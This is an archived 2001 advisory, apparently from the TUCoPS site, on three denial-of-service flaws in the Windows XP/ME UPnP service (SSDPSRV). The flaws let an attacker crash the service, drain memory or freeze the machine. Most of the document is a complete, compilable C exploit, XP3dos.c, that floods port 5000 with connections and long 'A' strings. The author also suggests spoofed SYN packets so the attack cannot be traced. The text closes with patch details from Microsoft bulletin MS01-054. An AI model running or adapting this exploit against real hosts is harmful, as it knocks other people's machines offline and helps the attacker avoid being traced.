2nd Nov 2001 [SBWID-4836]
COMMAND
upnp
SYSTEMS AFFECTED
Windows XP, Windows ME
PROBLEM
\'ken\' of FTU found three vulerabilities in Windows XP.
We are attacking a server named SSDPSRV bound to port 5000 running on
XP or selected versions of WinME. This is Microsoft\'s UPNP server that
is installed and runs by default on WindowsXP.
In two of the three hacks we are interested in a .dll named MSVCRT.dll.
This library has a page fault that can be used to crash the
application.
The first DOS is simply due to bad code. We can send the application a
specific header and it will crash the server. There is a page fault at
0197:78004a16 in MSCVRT.dll.
The second DOS is due to the way the SSDPSRV handles input. We can chew
up memory by opening a connection, sending the proper header, and then
just strings and strings of \'A\'s (or whatever else you like). If one
connection is made and such strings are sent we will receive a page
fault in MSVCRT.dll again. This time it is at 0197:010083fe. But, if we
open approximately 200 connections and send the proper header followed
by a string of \'A\'s we can deplete the system resources. Using a
Pentium II 336Mhz machine I tested a Pentium IV 1.4Ghz with 128M of
memory and took the system resources from 65% to 48% in 20 minutes. The
only problem with this method is that it takes a substantial amount of
time to send these strings over the network.
The third and final DOS is the cool one. SSDPSRV cannot handle multiple
connections well. If one opens up 1018 simultaneous connections one can
temporarily freeze the machine. The user\'s keyboard and mouse input
are held in the buffer but do not appear to register. With this attack
one can sink the system resources under 4% in about a second. In a
minute or two the system corrects itself.
Exploit Code
=============
Compiled on Red Hat Linux 7.1.
Note that one of my tests is enhanced for the effect. I exaggerated the
EIP scenario to really pump the server full of \'A\' to reduce the
computer\'s memory. To test for an overflow one would not need as many
connections. If I had time to improve this code I would change the
section that makes 1000 simeltaneous connections. Given the nature of
the problem I would send spoofed SYN packets to the affected host. This
should adacquately simulate making a connection and should also have
the same effect for reducing the affected machine\'s memory. The
benefits of the packet construction would be that it should take up
less resources on the attacker\'s machine and the attack would not be
traceable with a spoofed IP address.
gcc XP3dos.c -o XP3dos
/*------------------------------- Snip here -----------------------------*/
/*-----------------------------------------------
XP3dos.c
Three WinXP/ME DOS Attacks
by \'ken\' of FTU -- 10/23/01
franklin_tech_unlimited@yahoo.com
------------------------------------------------*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>
#define MAX 256
#define SS struct sockaddr
char *DISCOVER[] = {
\"M-SEARCH * HTTP/1.1\\r\\n\"
\"HOST: 239.255.255.250:1900\\r\\n\"
\"MAN: \\\"ssdp:discover\\\"\\r\\n\"
\"MX: 5\\n\"
\"ST: \\\"ssdp:all\\\"\\r\\n\"
};
int main(int argc, char *argv[])
{
int socks[1024], i, k, num_of_socks, port;
struct sockaddr_in winxpbox;
char *ip;
char temp[10000];
char sploit[12000];
char buffer[MAX+1];
printf(\"\\nThree WinXP/ME UPNP DOS Attacks\");
printf(\"\\nby \'ken\' of FTU -- 10/23/01\");
printf(\"\\nfranklin_tech_unlimited@yahoo.com\\n\\n\");
if(argc<3)
exit(print_opts());
ip=argv[1];
winxpbox.sin_family=AF_INET;
winxpbox.sin_addr.s_addr=inet_addr(ip);
winxpbox.sin_port=htons(5000);
if(strstr(argv[2],\"-tf\")){
num_of_socks = 1021;
}
else if(strstr(argv[2],\"-dm\")){
num_of_socks = 199;
}
else if(strstr(argv[2],\"-ca\")){
num_of_socks = 4;
}
else{
print_opts();
return 0;
}
/* build sockets */
for(k=0;k<=num_of_socks-1;k++){
printf(\"Creating socket #%i!\\n\",k+1);
socks[k]=socket(AF_INET,SOCK_STREAM,0);
if(socks[k]<0) exit(printf(\"Socket error\\n\"));
/* this line eliminates need to change format to do-while
and guarentees only one socket is created/referenced on the -ca flag*/
if(num_of_socks==4) break;
}
printf(\"\\nTrying to Connect....\\n\");
for(k=0;k<num_of_socks-2;k++){
if((connect(socks[k],(struct sockaddr *) &winxpbox, sizeof(winxpbox)))<0)
exit(printf(\"Connection error: Socket #%i\\n\",k+1));
printf(\"Socket #%i Connected...!\\n\",k+1);
if(num_of_socks==4)break;
}
/********************************************************************/
if((strstr(argv[2],\"ca\")) || (strstr(argv[2],\"dm\"))){
sprintf(sploit,\"%s\",*DISCOVER);
printf(\"\\nSending Header of Exploit!\\n\\n\");
write(socks[0],sploit,strlen(sploit));
if(strstr(argv[2],\"dm\")){
printf(\"Building Exploit Code Now...!\\n\");
for(i=0;i<=9999;i++){
temp[i]=\'A\';
}
for(k=1;k<=num_of_socks-4;k++){
write(socks[k],sploit,strlen(sploit));
}
for(i=0;i<=1999;i++){
for(k=0;k<=num_of_socks-4;k++){
sprintf(sploit,\"%s%s\",temp,temp);
printf(\"Attacking host with sploit! 20000 A\'s times %i:On Socket #%i\\n\",i+1,k+1);
write(socks[k],sploit,strlen(sploit));
}
}
}
}
/**********************************************************************/
/* send keystrokes saying we finished transmitting data */
for(k=0;k<=num_of_socks-4;k++){
sprintf(sploit,\"\\r\\n\\r\\n\");
printf(\"Sending Closing Keystrokes for Socket #%i\\n\",k+1);
write(socks[k],sploit,strlen(sploit));
if(num_of_socks==4) break;
}
/* Guess status */
/* \'ken\': this code was for debugging. I left it in here... */
/***************************************
for(k=0;k<=num_of_socks-4;k++){
if(read(socks[k],buffer,sizeof(buffer))<0)
exit(printf(\"\\n\\nNo reply: machine crashed?\\n\\n\"));
else
printf(\"%s\",buffer);
printf(\"\\n\\nMachine replied: Failed to crash!\\n\\n\");
}
***************************************/
/* close socket */
for(k=0;k<=num_of_socks-4;k++){
printf(\"Closing Socket #%i\\n\",k+1);
close(socks[k]);
if(num_of_socks==4) break;
}
printf(\"\\nFinished DOSing WinXP/ME\");
printf(\"\\nHave a nice day! -\'ken\'\\n\\n\");
return 0;
}
print_opts()
{
printf(\"\\n **** WinXP/ME UPNP DOS Usage ****\");
printf(\"\\n<ip address of WinXP/ME box><exploit>\");
printf(\"\\n exploit choices:\");
printf(\"\\n -tf temporary freeze\");
printf(\"\\n -dm deplete memory\");
printf(\"\\n -ca crash application\\n\\n\");
return;
}
/*------------------------------- Snip here -----------------------------*/
/* EOF */
SOLUTION
Patch available, see Microsoft bulletin for details.
http://www.microsoft.com/technet/security/bulletin/ms01-054.asp
UPDATE
=======
Warning to Windows ME users : there are problems with the Windows ME
patch.
The problem is that upnp.dll does not seem to be registered. This is
the case when UPnP component is already installed (via Add/Remove
Components) and the update is applied. Result is Explorer hangs and
machine performance can be erratic. However, in the case where UPnP
component is not installed, the update is applied, and then UPnP
component is added, there seems to be no issues. Apps including IE work
and Explorer is fine at each and every stage.
The Windows 98 and XP patches are error free.
Remediation: ====== Customers who are experiencing problems as a result
of the Windows ME patch can go to the %windir%\\system directory and
run \"regsvr32 upnp.dll\" (no quotes). Reboot. Customers who are unable
to register the upnp.dll should contact Microsoft Product Support
Services for assistance.
There is no charge for support calls associated with security patches.
Information on contacting Microsoft Product Support Services can be
found at:
http://www.microsoft.com/support
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH